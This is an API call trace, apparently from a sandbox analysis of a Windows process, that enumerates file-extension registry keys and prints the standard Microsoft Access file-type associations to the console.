	[0058.143] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa2, lpName=0x20f1f0, cchName=0x104 | out: lpName=".H1F") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa3, lpName=0x20f1f0, cchName=0x104 | out: lpName=".H1H") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa4, lpName=0x20f1f0, cchName=0x104 | out: lpName=".H1K") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa5, lpName=0x20f1f0, cchName=0x104 | out: lpName=".H1Q") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa6, lpName=0x20f1f0, cchName=0x104 | out: lpName=".H1S") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa7, lpName=0x20f1f0, cchName=0x104 | out: lpName=".H1T") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa8, lpName=0x20f1f0, cchName=0x104 | out: lpName=".H1V") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xa9, lpName=0x20f1f0, cchName=0x104 | out: lpName=".H1W") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaa, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hdp") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xab, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hhc") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xac, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hlp") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xad, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hol") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xae, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hpp") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xaf, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hqx") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb0, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hta") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb1, lpName=0x20f1f0, cchName=0x104 | out: lpName=".htc") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb2, lpName=0x20f1f0, cchName=0x104 | out: lpName=".htm") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb3, lpName=0x20f1f0, cchName=0x104 | out: lpName=".html") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb4, lpName=0x20f1f0, cchName=0x104 | out: lpName=".htt") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb5, lpName=0x20f1f0, cchName=0x104 | out: lpName=".htw") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb6, lpName=0x20f1f0, cchName=0x104 | out: lpName=".htx") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb7, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxa") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb8, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxc") returned 0x0
	[0058.144] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xb9, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxd") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xba, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxe") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbb, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxf") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbc, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxh") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbd, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxi") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbe, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxk") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xbf, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxq") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc0, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxr") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc1, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxs") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc2, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxt") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc3, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxv") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc4, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxw") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc5, lpName=0x20f1f0, cchName=0x104 | out: lpName=".hxx") returned 0x0
	[0058.145] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc6, lpName=0x20f1f0, cchName=0x104 | out: lpName=".i") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc7, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ibq") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc8, lpName=0x20f1f0, cchName=0x104 | out: lpName=".icc") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xc9, lpName=0x20f1f0, cchName=0x104 | out: lpName=".icl") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xca, lpName=0x20f1f0, cchName=0x104 | out: lpName=".icm") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcb, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ico") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcc, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ics") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcd, lpName=0x20f1f0, cchName=0x104 | out: lpName=".idl") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xce, lpName=0x20f1f0, cchName=0x104 | out: lpName=".idq") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xcf, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ilk") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd0, lpName=0x20f1f0, cchName=0x104 | out: lpName=".imc") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd1, lpName=0x20f1f0, cchName=0x104 | out: lpName=".img") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd2, lpName=0x20f1f0, cchName=0x104 | out: lpName=".inc") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd3, lpName=0x20f1f0, cchName=0x104 | out: lpName=".inf") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd4, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ini") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd5, lpName=0x20f1f0, cchName=0x104 | out: lpName=".inl") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd6, lpName=0x20f1f0, cchName=0x104 | out: lpName=".inv") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd7, lpName=0x20f1f0, cchName=0x104 | out: lpName=".inx") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd8, lpName=0x20f1f0, cchName=0x104 | out: lpName=".in_") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xd9, lpName=0x20f1f0, cchName=0x104 | out: lpName=".iqy") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xda, lpName=0x20f1f0, cchName=0x104 | out: lpName=".iso") returned 0x0
	[0058.210] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdb, lpName=0x20f1f0, cchName=0x104 | out: lpName=".IVF") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdc, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jar") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdd, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jav") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xde, lpName=0x20f1f0, cchName=0x104 | out: lpName=".java") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xdf, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jbf") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe0, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jfif") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe1, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jnlp") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe2, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jnt") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe3, lpName=0x20f1f0, cchName=0x104 | out: lpName=".Job") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe4, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jod") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe5, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jpe") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe6, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jpeg") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe7, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jpg") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe8, lpName=0x20f1f0, cchName=0x104 | out: lpName=".js") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xe9, lpName=0x20f1f0, cchName=0x104 | out: lpName=".JSE") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xea, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jtp") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xeb, lpName=0x20f1f0, cchName=0x104 | out: lpName=".jtx") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xec, lpName=0x20f1f0, cchName=0x104 | out: lpName=".kci") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xed, lpName=0x20f1f0, cchName=0x104 | out: lpName=".label") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xee, lpName=0x20f1f0, cchName=0x104 | out: lpName=".laccdb") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xef, lpName=0x20f1f0, cchName=0x104 | out: lpName=".latex") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf0, lpName=0x20f1f0, cchName=0x104 | out: lpName=".ldb") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf1, lpName=0x20f1f0, cchName=0x104 | out: lpName=".lex") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf2, lpName=0x20f1f0, cchName=0x104 | out: lpName=".lgn") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf3, lpName=0x20f1f0, cchName=0x104 | out: lpName=".lib") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf4, lpName=0x20f1f0, cchName=0x104 | out: lpName=".library-ms") returned 0x0
	[0058.211] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf5, lpName=0x20f1f0, cchName=0x104 | out: lpName=".lnk") returned 0x0
	[0058.212] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf6, lpName=0x20f1f0, cchName=0x104 | out: lpName=".local") returned 0x0
	[0058.212] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf7, lpName=0x20f1f0, cchName=0x104 | out: lpName=".log") returned 0x0
	[0058.212] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf8, lpName=0x20f1f0, cchName=0x104 | out: lpName=".lst") returned 0x0
	[0058.212] RegEnumKeyW (in: hKey=0x4c, dwIndex=0xf9, lpName=0x20f1f0, cchName=0x104 | out: lpName=".m14") returned 0x0
	[0058.212] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.212] GetFileType (hFile=0x5c) returned 0x3
	[0058.212] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.212] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDAExtension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDAExtension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 104
	[0058.213] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x67, lpOverlapped=0x0) returned 1
	[0058.213] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.213] GetFileType (hFile=0x5c) returned 0x3
	[0058.213] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDCFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDCFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 101
	[0058.213] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x64, lpOverlapped=0x0) returned 1
	[0058.213] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.213] GetFileType (hFile=0x5c) returned 0x3
	[0058.213] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 125
	[0058.213] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7c, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7c, lpOverlapped=0x0) returned 1
	[0058.213] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.213] GetFileType (hFile=0x5c) returned 0x3
	[0058.213] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.213] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDRFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /RUNTIME \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDRFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /RUNTIME \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123
	[0058.213] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7a, lpOverlapped=0x0) returned 1
	[0058.214] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.214] GetFileType (hFile=0x5c) returned 0x3
	[0058.214] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ACCDTFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ACCDTFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 101
	[0058.214] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x64, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x64, lpOverlapped=0x0) returned 1
	[0058.214] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.214] GetFileType (hFile=0x5c) returned 0x3
	[0058.214] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ADEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ADEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123
	[0058.214] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7a, lpOverlapped=0x0) returned 1
	[0058.214] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.214] GetFileType (hFile=0x5c) returned 0x3
	[0058.214] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.214] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Application.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Application.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 127
	[0058.214] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7e, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7e, lpOverlapped=0x0) returned 1
	[0058.214] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.214] GetFileType (hFile=0x5c) returned 0x3
	[0058.215] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.BlankDatabaseTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.BlankDatabaseTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 120
	[0058.215] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x77, lpOverlapped=0x0) returned 1
	[0058.215] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.215] GetFileType (hFile=0x5c) returned 0x3
	[0058.215] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.BlankProjectTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.BlankProjectTemplate.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /NEWDB \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 119
	[0058.215] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x76, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x76, lpOverlapped=0x0) returned 1
	[0058.215] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.215] GetFileType (hFile=0x5c) returned 0x3
	[0058.215] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Extension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Extension.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE /NOSTARTUP \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 99
	[0058.215] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x62, lpOverlapped=0x0) returned 1
	[0058.215] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.215] GetFileType (hFile=0x5c) returned 0x3
	[0058.215] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.215] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.MDBFile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.MDBFile=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 120
	[0058.215] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x77, lpOverlapped=0x0) returned 1
	[0058.216] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.216] GetFileType (hFile=0x5c) returned 0x3
	[0058.216] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.MDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.MDEFile.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123
	[0058.216] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7a, lpOverlapped=0x0) returned 1
	[0058.216] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.216] GetFileType (hFile=0x5c) returned 0x3
	[0058.216] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.Project.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.Project.16=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP \"%1\" %2 %3 %4 %5 %6 %7 %8 %9\r\n", lpUsedDefaultChar=0x0) returned 123
	[0058.216] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x7a, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x7a, lpOverlapped=0x0) returned 1
	[0058.216] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.216] GetFileType (hFile=0x5c) returned 0x3
	[0058.216] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.216] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Access.ShortCut.DataAccessPage.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDataAccessPage \"%1\"]\r\n", cchWideChar=-1, lpMultiByteStr=0x49e7c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Access.ShortCut.DataAccessPage.1=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSACCESS.EXE\" /NOSTARTUP /SHELLSYSTEM [OpenDataAccessPage \"%1\"]\r\n", lpUsedDefaultChar=0x0) returned 148
	[0058.216] WriteFile (in: hFile=0x5c, lpBuffer=0x49e7c320*, nNumberOfBytesToWrite=0x93, lpNumberOfBytesWritten=0x20f188, lpOverlapped=0x0 | out: lpBuffer=0x49e7c320*, lpNumberOfBytesWritten=0x20f188*=0x93, lpOverlapped=0x0) returned 1
	[0058.216] _get_osfhandle (_FileHandle=1) returned 0x5c
	[0058.216] GetFileType (hFile=0x5c) returned 0x3
	[0058.217] _get_osfhandle (_FileHandle=1) returned 0x5c
